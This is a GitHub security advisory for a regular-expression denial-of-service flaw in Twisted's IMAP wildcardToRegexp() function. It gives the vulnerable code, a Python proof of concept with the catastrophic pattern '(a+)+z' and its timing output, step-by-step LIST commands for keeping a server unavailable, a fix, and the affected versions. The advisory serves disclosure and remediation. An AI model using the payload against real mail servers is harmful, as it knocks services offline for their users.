GHSA-8pqf-f4m5-798g

Suggest an improvement
Source
https://github.com/advisories/GHSA-8pqf-f4m5-798g
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-8pqf-f4m5-798g/GHSA-8pqf-f4m5-798g.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-8pqf-f4m5-798g
Aliases
Published
2026-10-07T16:18:30Z
Modified
2026-10-07T16:30:04Z
Severity
  • 4.3 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L CVSS Calculator
Summary
Twisted: IMAP wildcardToRegexp() ReDoS
Details

Summary

wildcardToRegexp() in twisted/mail/imap4.py converts IMAP LIST/LSUB wildcard patterns to Python regular expressions. It substitutes the two IMAP wildcards (* → (?:.*?) and % → (?:(?:[^\\/])*?)) but passes every other character through unchanged to re.compile(). This means that an authenticated IMAP client can send a quoted pattern string containing arbitrary regex syntax - including catastrophic-backtracking constructs such as (a+)+z.

Because Twisted runs a cooperative, single-threaded reactor, a blocking regex match freezes all I/O on the server for the duration of the match.


Vulnerable Code

twisted/mail/imap4.py

# line 4595
def wildcardToRegexp(wildcard, delim=None):
    wildcard = wildcard.replace("*", "(?:.*?)")
    if delim is None:
        wildcard = wildcard.replace("%", "(?:.*?)")
    else:
        wildcard = wildcard.replace("%", "(?:(?:[^%s])*?)" % re.escape(delim))
    return re.compile(wildcard, re.I)   # ← user input compiled verbatim
# line 4993
class MemoryAccountWithoutNamespaces:
    def listMailboxes(self, ref, wildcard):
        ref = self._inferiorNames(_parseMbox(ref.upper()))
        wildcard = wildcardToRegexp(wildcard, "/")   # ← user-supplied wildcard
        return [(i, self.mailboxes[i]) for i in ref if wildcard.match(i)]

Proof of Concept

from twisted.mail.imap4 import wildcardToRegexp
import time

rx = wildcardToRegexp("(a+)+z", "/")
for n in [20, 22, 24, 26, 28]:
    victim = "a" * n
    t0 = time.perf_counter()
    rx.match(victim)
    print(f"n={n}: {time.perf_counter() - t0:.3f}s")

Output on Twisted 25.5.0:

[*] Compiled regex: '(a+)+z'
[*] Note: metacharacters ( ) + ? are NOT escaped - they go straight to re.compile()

    n        time
  ---  ----------
   20       0.153s
   22       0.651s
   24       2.941s
   26      14.545s
   28      55.019s

Timing doubles roughly every two characters (exponential growth), confirming catastrophic backtracking.


Impact

Twisted's reactor is single-threaded and cooperative. A blocking re.match() call suspends the entire event loop - no other connection can be accepted, read, or written while the match runs. A single authenticated LIST command with a 28-character target mailbox name can stall the server for ~55 seconds.

An attacker who can register an account (or obtain credentials through other means) can:

  1. CREATE a mailbox whose name is an exponential-blowup trigger string.
  2. Issue LIST "" "(a+)+z" (or equivalent ReDoS pattern).
  3. Repeat at ~1-minute intervals to keep the server permanently unavailable.

No exploit code or special privileges beyond an IMAP login are required.


Fix

Escape non-wildcard characters before compiling:

def wildcardToRegexp(wildcard, delim=None):
    # Split on the two IMAP wildcards, escape everything else
    parts = re.split(r'([*%])', wildcard)
    result = []
    for p in parts:
        if p == '*':
            result.append('(?:.*?)')
        elif p == '%':
            if delim is None:
                result.append('(?:.*?)')
            else:
                result.append('(?:(?:[^%s])*?)' % re.escape(delim))
        else:
            result.append(re.escape(p))   # ← escape all other characters
    return re.compile(''.join(result), re.I)

Alternatively, apply re.escape() to the entire wildcard first, then substitute the (now-escaped) \* and \% tokens back with their regex equivalents.

Database specific
{
    "cwe_ids": [
        "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T16:18:30Z",
    "nvd_published_at": "2026-10-06T20:17:27Z",
    "severity": "MODERATE"
}
References

Affected packages

PyPI / twisted

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Last Affected
25.5.0

Affected versions

1.*
1.0.1
1.0.3
1.0.4
1.0.5
1.0.6
1.0.7
1.1.0
1.1.1
1.2.0
2.*
2.1.0
2.4.0
2.5.0
8.*
8.0.0
8.0.1
8.1.0
8.2.0
9.*
9.0.0
10.*
10.0.0
10.1.0
10.2.0
11.*
11.0.0
11.1.0
12.*
12.0.0
12.1.0
12.2.0
12.3.0
13.*
13.0.0
13.1.0
13.2.0
14.*
14.0.0
14.0.1
14.0.2
15.*
15.0.0
15.1.0
15.2.0
15.2.1
15.3.0
15.4.0
15.5.0
16.*
16.0.0
16.1.0
16.1.1
16.2.0
16.3.0
16.3.1
16.3.2
16.4.0
16.4.1
16.5.0rc1
16.5.0rc2
16.5.0
16.6.0rc1
16.6.0
16.7.0rc1
16.7.0rc2
17.*
17.1.0rc1
17.1.0
17.5.0
17.9.0rc1
17.9.0
18.*
18.4.0rc1
18.4.0
18.7.0rc1
18.7.0rc2
18.7.0
18.9.0rc1
18.9.0
19.*
19.2.0rc1
19.2.0rc2
19.2.0
19.2.1
19.7.0rc1
19.7.0
19.10.0rc1
19.10.0
20.*
20.3.0rc1
20.3.0
21.*
21.2.0rc1
21.2.0
21.7.0rc1
21.7.0rc2
21.7.0rc3
21.7.0
22.*
22.1.0rc1
22.1.0
22.2.0rc1
22.2.0
22.4.0rc1
22.4.0
22.8.0rc1
22.8.0
22.10.0rc1
22.10.0
23.*
23.8.0rc1
23.8.0
23.10.0rc1
23.10.0
24.*
24.2.0rc1
24.3.0
24.7.0rc1
24.7.0rc2
24.7.0
24.10.0rc1
24.10.0
24.11.0rc1
24.11.0rc2
24.11.0
25.*
25.5.0rc1
25.5.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-8pqf-f4m5-798g/GHSA-8pqf-f4m5-798g.json"